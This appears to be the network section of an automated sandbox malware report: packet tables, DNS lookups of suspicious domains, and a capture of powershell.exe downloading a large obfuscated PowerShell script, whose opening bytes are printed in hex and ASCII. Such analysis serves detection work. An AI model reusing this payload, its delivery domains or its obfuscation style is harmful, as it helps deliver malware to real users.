Dec 31, 2024 09:26:37.952263117 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.952269077 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.956319094 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.956335068 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.956403017 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.956410885 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.956876040 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.956897020 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.956931114 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.956938028 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.956969976 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.963395119 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.964050055 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.978858948 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.978879929 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.978944063 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.978952885 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.979223013 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.994282961 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.994302988 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.994390965 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.994402885 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.994748116 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.994769096 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.994807005 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.994813919 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.994848013 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.995305061 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.995328903 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.995362043 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:37.995368958 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:37.995389938 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.037714958 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.037738085 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.037822008 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.037833929 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.037878990 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.038959026 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.038974047 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.039017916 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.039025068 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.039040089 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.043263912 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.043288946 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.043338060 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.043346882 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.043378115 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.043716908 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.043730974 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.043775082 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.043781042 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.043806076 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.065640926 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.065671921 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.065759897 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.065783978 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.065808058 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.080928087 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.080948114 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.081013918 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.081027985 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.081633091 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.081654072 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.081684113 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.081688881 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.081717968 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.082282066 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.082295895 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.082329035 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.082334042 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.082362890 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.124469995 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.124495029 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.124583006 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.124593973 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.125757933 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.125773907 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.125855923 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.125863075 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.131156921 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.131176949 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.131222963 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.131232023 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.131261110 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.131663084 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.131678104 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.131730080 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.131735086 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.152440071 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.152467966 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.152558088 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.152573109 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.167785883 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.167808056 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.167866945 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.167881012 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.167915106 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.168128967 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.168148994 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.168205023 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.168212891 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.168812990 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.168828011 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.168878078 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.168885946 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.168914080 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.211122990 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.211272955 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.211296082 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.211321115 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.211381912 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.211393118 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.212412119 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.212490082 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.212496042 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.212505102 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.212584972 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.212589979 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.218025923 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.218055964 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.218106985 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.218118906 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.218141079 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.218661070 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.218674898 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.218739033 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.218750000 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.239171028 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.239196062 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.239242077 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.239253998 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.239283085 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.254385948 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.254405975 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.254446983 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.254457951 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.254486084 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.254904985 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.254925013 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.254966021 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.254971027 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.254995108 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.255644083 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.255657911 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.255728006 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.255734921 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.297873974 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.297920942 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.297931910 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.297940016 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.297983885 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.299074888 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.299091101 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.299158096 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.299164057 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.304617882 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.304639101 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.304672003 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.304678917 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.304704905 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.305182934 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.305197954 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.305262089 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.305269003 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.326972008 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.326996088 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.327063084 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.327069998 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.342010975 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.342030048 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.342076063 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.342082977 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.342111111 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.342541933 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.342561960 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.342592001 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.342597961 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.342608929 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.343616009 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.343631983 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.343667030 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.343672991 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.343691111 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.385533094 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.385557890 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.385679960 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.385703087 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.386945963 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.386960983 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.387001038 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.387008905 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.387036085 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.387111902 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.387165070 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.387168884 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.387206078 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.387208939 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.387249947 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.404370070 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.404393911 CET	443	49993	104.21.37.128	192.168.2.5
Dec 31, 2024 09:26:38.404402971 CET	49993	443	192.168.2.5	104.21.37.128
Dec 31, 2024 09:26:38.404407978 CET	443	49993	104.21.37.128	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 09:25:04.799381971 CET	49705	53	192.168.2.5	1.1.1.1
Dec 31, 2024 09:25:04.824223042 CET	53	49705	1.1.1.1	192.168.2.5
Dec 31, 2024 09:26:21.150122881 CET	52083	53	192.168.2.5	1.1.1.1
Dec 31, 2024 09:26:21.162926912 CET	53	52083	1.1.1.1	192.168.2.5
Dec 31, 2024 09:26:31.516633034 CET	64478	53	192.168.2.5	1.1.1.1
Dec 31, 2024 09:26:31.528918982 CET	53	64478	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 31, 2024 09:25:04.799381971 CET	192.168.2.5	1.1.1.1	0x17c3	Standard query (0)	t1.awagama2.org	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:26:21.150122881 CET	192.168.2.5	1.1.1.1	0xc5ec	Standard query (0)	permissiblene.click	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:26:31.516633034 CET	192.168.2.5	1.1.1.1	0xb0e	Standard query (0)	klipvumisui.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 31, 2024 09:25:04.824223042 CET	1.1.1.1	192.168.2.5	0x17c3	No error (0)	t1.awagama2.org	188.114.97.3	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:25:04.824223042 CET	1.1.1.1	192.168.2.5	0x17c3	No error (0)	t1.awagama2.org	188.114.96.3	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:26:21.162926912 CET	1.1.1.1	192.168.2.5	0xc5ec	No error (0)	permissiblene.click	188.114.96.3	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:26:21.162926912 CET	1.1.1.1	192.168.2.5	0xc5ec	No error (0)	permissiblene.click	188.114.97.3	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:26:31.528918982 CET	1.1.1.1	192.168.2.5	0xb0e	No error (0)	klipvumisui.shop	104.21.37.128	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:26:31.528918982 CET	1.1.1.1	192.168.2.5	0xb0e	No error (0)	klipvumisui.shop	172.67.208.58	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

t1.awagama2.org

permissiblene.click

klipvumisui.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	188.114.97.3	443	616	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:25:05 UTC	75	OUT	GET /Scheele.pt HTTP/1.1 Host: t1.awagama2.org Connection: Keep-Alive
2024-12-31 08:25:05 UTC	628	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:25:05 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 8296609 Connection: close X-Powered-By: Express ETag: W/"7e98a1-6OIGu83Oms11y2C+NXEBVfSIkFA" Set-Cookie: connect.sid=s%3A9aHIBsf0qWJeiruCUr6c3I9NKkjU7QG7.tUGOoemzs1D9%2FIg1FnCGbHnKDUTwSQzj0us8xhrBUr8; Path=/; HttpOnly cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8fa8e0814b81438a-EWR server-timing: cfL4;desc="?proto=TCP&rtt=27633&min_rtt=27359&rtt_var=10456&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=689&delivery_rate=106729&cwnd=210&unsent_bytes=0&cid=2ca42ba75e76cf33&ts=438&x=0"
2024-12-31 08:25:05 UTC	741	IN	Data Raw: 0d 0a 24 79 64 4f 74 77 6b 46 68 20 3d 20 28 28 28 28 28 39 32 38 39 34 31 20 2a 20 2d 31 31 29 20 2b 20 28 28 28 28 31 31 32 38 35 20 2a 20 24 79 64 4f 74 77 6b 46 68 29 20 2b 20 37 31 36 33 36 36 29 20 2b 20 34 35 34 29 29 29 20 2a 20 2d 34 38 37 29 20 2d 20 32 37 33 31 29 20 2b 20 2d 38 38 29 0d 0a 24 52 72 48 56 77 4e 57 46 6b 70 52 20 3d 20 28 28 28 28 28 28 36 38 39 39 38 20 2a 20 28 28 28 28 28 28 34 31 30 37 30 39 20 2a 20 33 36 37 29 20 2b 20 24 52 72 48 56 77 4e 57 46 6b 70 52 29 20 2a 20 24 79 64 4f 74 77 6b 46 68 29 20 2d 20 24 79 64 4f 74 77 6b 46 68 29 20 2d 20 35 39 29 29 29 20 2a 20 28 28 28 28 2d 39 20 2a 20 2d 31 29 20 2d 20 32 36 34 34 35 29 20 2b 20 24 52 72 48 56 77 4e 57 46 6b 70 52 29 29 29 20 2d 20 24 52 72 48 56 77 4e 57 46 6b 70 Data Ascii: $ydOtwkFh = (((((928941 * -11) + ((((11285 * $ydOtwkFh) + 716366) + 454))) * -487) - 2731) + -88)$RrHVwNWFkpR = ((((((68998 * ((((((410709 * 367) + $RrHVwNWFkpR) * $ydOtwkFh) - $ydOtwkFh) - 59))) * ((((-9 * -1) - 26445) + $RrHVwNWFkpR))) - $RrHVwNWFkp
2024-12-31 08:25:05 UTC	1369	IN	Data Raw: 31 30 39 20 2d 20 24 4d 6c 6a 77 4a 72 79 70 29 20 2d 20 2d 38 38 34 31 37 29 29 29 20 2d 20 34 37 31 29 20 2d 20 24 6c 4b 76 48 73 76 53 46 4b 68 29 20 2b 20 2d 36 29 29 20 2a 20 28 28 28 28 28 32 38 38 20 2a 20 2d 34 29 20 2b 20 38 29 20 2a 20 24 6c 4b 76 48 73 76 53 46 4b 68 29 20 2b 20 2d 33 30 31 36 37 33 29 20 2d 20 2d 33 38 38 37 38 29 29 0d 0a 24 41 6e 50 74 6e 43 4a 56 41 50 4a 20 3d 20 28 28 28 28 28 2d 31 20 2b 20 36 39 39 34 33 37 29 20 2d 20 33 30 30 32 35 29 20 2d 20 24 79 64 4f 74 77 6b 46 68 29 29 20 2b 20 28 28 28 28 28 24 41 6e 50 74 6e 43 4a 56 41 50 4a 20 2b 20 37 29 20 2d 20 2d 33 37 38 29 20 2b 20 39 33 37 37 35 39 29 20 2b 20 2d 31 38 32 29 20 2b 20 31 31 36 37 32 29 29 0d 0a 24 7a 64 74 6d 50 43 49 64 6a 65 20 3d 20 28 28 28 28 28 Data Ascii: 109 - $MljwJryp) - -88417))) - 471) - $lKvHsvSFKh) + -6)) * (((((288 * -4) + 8) * $lKvHsvSFKh) + -301673) - -38878))$AnPtnCJVAPJ = (((((-1 + 699437) - 30025) - $ydOtwkFh)) + ((((($AnPtnCJVAPJ + 7) - -378) + 937759) + -182) + 11672))$zdtmPCIdje = (((((
2024-12-31 08:25:05 UTC	1369	IN	Data Raw: 6a 65 29 20 2d 20 24 41 6e 50 74 6e 43 4a 56 41 50 4a 29 29 29 20 2a 20 24 52 72 48 56 77 4e 57 46 6b 70 52 29 20 2d 20 24 41 75 51 44 42 68 47 5a 4b 29 20 2a 20 24 66 6b 75 56 62 58 5a 6f 65 56 5a 29 0d 0a 24 5a 63 69 55 6a 75 55 62 59 20 3d 20 28 28 28 28 24 5a 6f 4d 77 7a 6f 20 2b 20 24 5a 63 69 55 6a 75 55 62 59 29 20 2a 20 2d 39 30 39 35 29 20 2a 20 28 28 28 28 28 37 39 38 20 2a 20 24 7a 66 71 72 71 73 48 73 49 66 6d 29 20 2d 20 24 71 6f 46 70 4c 68 6e 66 29 20 2b 20 2d 35 35 39 29 20 2a 20 2d 34 29 29 29 20 2b 20 24 79 64 4f 74 77 6b 46 68 29 0d 0a 24 62 48 43 78 7a 43 5a 20 3d 20 28 28 28 28 24 79 64 4f 74 77 6b 46 68 20 2d 20 36 39 34 31 32 36 29 20 2a 20 2d 31 39 32 39 34 29 29 20 2a 20 28 28 28 28 28 24 79 51 55 49 4d 48 68 57 20 2b 20 2d 39 36 Data Ascii: je) - $AnPtnCJVAPJ))) * $RrHVwNWFkpR) - $AuQDBhGZK) * $fkuVbXZoeVZ)$ZciUjuUbY = (((($ZoMwzo + $ZciUjuUbY) * -9095) * (((((798 * $zfqrqsHsIfm) - $qoFpLhnf) + -559) * -4))) + $ydOtwkFh)$bHCxzCZ = (((($ydOtwkFh - 694126) * -19294)) * ((((($yQUIMHhW + -96
2024-12-31 08:25:05 UTC	1369	IN	Data Raw: 74 79 63 4a 42 51 4f 45 20 2a 20 24 7a 64 74 6d 50 43 49 64 6a 65 29 20 2a 20 2d 39 29 20 2a 20 24 4d 6c 6a 77 4a 72 79 70 29 29 20 2a 20 28 28 28 24 7a 64 74 6d 50 43 49 64 6a 65 20 2a 20 28 28 28 28 28 28 24 62 48 43 78 7a 43 5a 20 2a 20 39 30 29 20 2d 20 2d 31 29 20 2b 20 34 33 34 34 38 29 20 2a 20 24 5a 63 69 55 6a 75 55 62 59 29 20 2a 20 24 77 74 79 63 4a 42 51 4f 45 29 29 29 20 2a 20 24 4a 4f 44 52 52 75 29 20 2a 20 28 28 28 28 28 24 6e 4e 73 4c 73 4c 62 53 47 20 2a 20 37 32 36 29 20 2d 20 2d 39 37 36 30 29 20 2d 20 30 29 20 2d 20 2d 32 33 36 32 29 29 29 29 29 0d 0a 69 66 20 28 28 24 62 48 43 78 7a 43 5a 20 2d 6c 74 20 24 58 72 76 4b 6c 6a 29 20 2d 6f 72 20 28 37 39 20 2d 67 65 20 24 58 72 76 4b 6c 6a 29 20 2d 6f 72 20 28 24 41 75 51 44 42 68 47 5a Data Ascii: tycJBQOE * $zdtmPCIdje) * -9) * $MljwJryp)) * ((($zdtmPCIdje * (((((($bHCxzCZ * 90) - -1) + 43448) * $ZciUjuUbY) * $wtycJBQOE))) * $JODRRu) * ((((($nNsLsLbSG * 726) - -9760) - 0) - -2362)))))if (($bHCxzCZ -lt $XrvKlj) -or (79 -ge $XrvKlj) -or ($AuQDBhGZ
2024-12-31 08:25:05 UTC	1369	IN	Data Raw: 28 24 44 4c 65 70 6f 6f 6b 6f 79 57 20 2d 67 74 20 30 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 28 24 7a 64 74 6d 50 43 49 64 6a 65 20 2d 6e 65 20 33 39 34 29 20 2d 61 6e 64 20 28 24 77 74 79 63 4a 42 51 4f 45 20 2d 65 71 20 2d 35 29 20 2d 61 6e 64 20 28 24 71 6f 46 70 4c 68 6e 66 20 2d 6e 65 20 24 4a 4f 44 52 52 75 29 20 2d 61 6e 64 20 28 34 37 20 2d 6e 65 20 31 34 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 24 67 67 4a 64 54 56 74 6e 70 43 20 3d 20 28 28 28 24 67 48 66 64 72 4f 46 20 2d 20 36 37 38 33 29 20 2a 20 2d 39 33 31 37 29 20 2d 20 36 31 38 36 32 29 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 69 66 20 28 28 31 39 32 32 20 2d 65 71 20 24 41 6e 50 74 6e 43 4a 56 41 50 4a 29 20 2d 6f 72 20 28 24 6a 5a 79 4a 78 78 41 6c 59 20 2d 65 71 20 33 31 37 33 34 37 29 Data Ascii: ($DLepookoyW -gt 0) { if (($zdtmPCIdje -ne 394) -and ($wtycJBQOE -eq -5) -and ($qoFpLhnf -ne $JODRRu) -and (47 -ne 14)) { $ggJdTVtnpC = ((($gHfdrOF - 6783) * -9317) - 61862) } if ((1922 -eq $AnPtnCJVAPJ) -or ($jZyJxxAlY -eq 317347)
